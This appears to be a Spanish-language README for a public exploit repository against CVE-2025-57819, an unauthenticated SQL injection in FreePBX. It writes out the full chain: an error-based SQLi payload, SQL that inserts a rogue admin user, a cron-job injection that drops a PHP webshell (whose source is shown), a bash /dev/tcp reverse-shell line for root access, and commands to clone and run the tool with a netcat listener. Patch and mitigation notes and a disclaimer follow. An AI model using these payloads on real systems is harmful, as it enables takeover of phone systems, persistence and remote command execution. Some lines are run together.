
Prueba de concepto de exploit para CVE-2025-57819, una inyección SQL no autenticada en FreePBX que encadena la creación de una cuenta de administrador, el despliegue de un webshell y la escalada a root hasta RCE.
Solo para investigación educativa y de seguridad - Ver aviso legal a continuación
Prueba de concepto de explotación para CVE-2025-57819, una vulnerabilidad crítica de inyección SQL no autenticada en FreePBX que permite la ejecución remota de código. Esta PoC se publica después de que se lanzaran los parches oficiales únicamente con fines de investigación de seguridad y pruebas autorizadas.
Las versiones de FreePBX 15.x, 16.x y 17.x (inferiores a las versiones parcheadas) son vulnerables a una inyección SQL no autenticada en el manejador AJAX del módulo endpoint. Esta cadena de vulnerabilidades permite:
| CVE ID | CVE-2025-57819 |
| Tipo | Inyección SQL no autenticada (basada en errores) |
| CVSS | 9.8 / 10.0 (Crítica) |
| Afectados | FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3 |
| Parcheados | 15.0.66, 16.0.89, 17.0.3+ |
| CISA KEV | Sí (29 de agosto de 2025) |
GET /admin/ajax.php?brand=<PAYLOAD>
El parámetro brand en el manejador AJAX del módulo endpoint acepta entrada del usuario sin validación, lo que provoca una inyección SQL basada en errores.
Verificar la SQLi usando la extracción basada en errores con EXTRACTVALUE() para filtrar el nombre de la base de datos:
x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
Insertar un nuevo usuario administrativo en asterisk.ampusers:
INSERT INTO ampusers (username, password_hash, admin)
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)
Con credenciales de administrador válidas, el exploit se autentica en FreePBX y establece una sesión autenticada. Las cookies de sesión se guardan y se utilizan para todas las solicitudes autenticadas posteriores.
Inyectar un comando de webshell en asterisk.cron_jobs:
INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)
El ejecutor de cron de FreePBX ejecuta el comando como el usuario asterisk, depositando la webshell PHP.
La webshell PHP se despliega en /var/www/html/shell.php:
<?php system($_GET['cmd']); ?>
El exploit sondea la webshell hasta su activación, logrando RCE como el usuario asterisk (uid=999).
Si incron está configurado en el objetivo:
/var/spool/asterisk/incron/incrond (ejecutándose como root) detecta la creación del archivo/usr/bin/sysadmin_manager con el nombre del archivo triggersysadmin_manager valida la firma GPG y lo despacha al hook fwconsole-commands/usr/sbin/fwconsole <COMMAND>help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1Resultado: shell de root en el listener inverso (si incron está disponible).
brandasterisk.cron_jobs con permisos de escritura ejecuta comandos como asteriskgit clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py
# Setup Netcat Listener
nc -lvnp <Listener Port>
# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

| Versión | Estado |
|---|---|
| 15.0.0 - 15.0.65 | Vulnerable |
| 15.0.66+ | Parcheada |
| 16.0.0 - 16.0.88 | Vulnerable |
| 16.0.89+ | Parcheada |
| 17.0.0 - 17.0.2 | Vulnerable |
| 17.0.3+ | Parcheada |
Inmediata:
/admin/ajax.php desde redes no confiablessystemctl disable incrondPermanente: Actualizar a las versiones parcheadas: 15.0.66+, 16.0.89+ o 17.0.3+
⚠️ DESCARGO DE RESPONSABILIDAD
Esta prueba de concepto se proporciona ÚNICAMENTE CON FINES DE PRUEBAS DE SEGURIDAD AUTORIZADAS Y EDUCATIVOS. El autor no asume ninguna responsabilidad por el mal uso o los daños causados por esta herramienta.
DEBE CUMPLIR CON:
USOS PROHIBIDOS:
EXENCIÓN DE RESPONSABILIDAD: El autor no es responsable de:
Esta vulnerabilidad es:
JazzTheRabbit
MIT License